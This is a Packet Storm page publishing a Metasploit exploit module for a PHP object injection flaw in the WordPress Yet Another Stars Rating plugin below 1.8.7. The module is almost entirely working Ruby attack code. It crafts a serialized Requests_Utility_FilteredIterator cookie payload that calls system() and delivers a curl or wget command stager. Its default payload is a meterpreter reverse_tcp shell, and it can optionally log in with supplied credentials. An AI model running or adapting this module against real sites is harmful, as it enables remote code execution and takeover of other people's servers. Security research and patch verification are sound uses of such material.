what you don't know can hurt you

WordPress Yet Another Stars Rating PHP Object Injection

WordPress Yet Another Stars Rating PHP Object Injection
Posted Dec 18, 2020
Authored by gx1, Paul Dannewitz | Site metasploit.com

This Metasploit module affects WordPress Yet Another Stars Rating plugin versions prior to 1.8.7 and demonstrates a PHP object injection vulnerability.

tags | exploit, php
MD5 | 8575b651a2e17e6d64eb04ca924071af

WordPress Yet Another Stars Rating PHP Object Injection

Change Mirror Download
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7',
'Description' => %q{
This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7.
The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes'
shortcode in a page (authenticated or not).

This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization.
The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop.
As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour
to exploit the vulnerability.
Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only
works for Wordpress versions < 5.5.2.

Tested on:
- Wordpress 5.4.1,
- Yet Another Stars rating plugin = 1.8.6
- php 5.6 (in php7 you should customize the serialization payload to try the exploitation)


},
'Author' =>
[
'Paul Dannewitz', # Vulnerability Discovery
'gx1 <g.per45[at]gmail.com>', # Exploit Developer
],
'Platform' => 'linux',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'References' =>
[
['URL', 'https://wpscan.com/vulnerability/9207'],
['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'],
['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'],
['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation
],
'License' => MSF_LICENSE
))

register_options([
OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ),
OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ),
OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ),
OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] )
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def yasr_path
return datastore['PATH_CONTAINING_YASR_SHORTCODE']
end

def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end

def username
return datastore['USERNAME']
end

def password
return datastore['PASSWORD']
end

def require_login
return datastore['REQUIRE_LOGIN']
end

def check
if not wordpress_and_online?
print_error("#{target_uri} does not seem to be WordPress site")
return
end
version = wordpress_version
if not version.nil?
print_status("#{target_uri} - WordPress Version #{version} detected") if version
if Gem::Version.new(version) >= Gem::Version.new("5.5.2")
print_bad("Version higher or equal to 5.5.2")
return CheckCode::Safe
end

return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7')
end
return CheckCode::Unknown
end

def serialized_payload(p)
return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D"
end

def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
if require_login
print_status("Authentication required, try to login")
cookie = wordpress_login(username, password)
if cookie
print_status("Login successed")
else
fail_with('Authentication failed', "Unable to login")
end
else # No login: empty cookie
cookie = ""
end
print_status("Run exploit")
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')

register_file_for_cleanup(cmdstager_path)
sp = serialized_payload(@cmdstager)
print_status("Send serialized payload: #{sp}")
cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}"

res = send_request_cgi({
'method' => 'GET',
'uri' => yasr_path,
'cookie' => cookie},
1)
end

end
Login or Register to add favorites

File Archive:

March 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    19 Files
  • 2
    Mar 2nd
    15 Files
  • 3
    Mar 3rd
    30 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close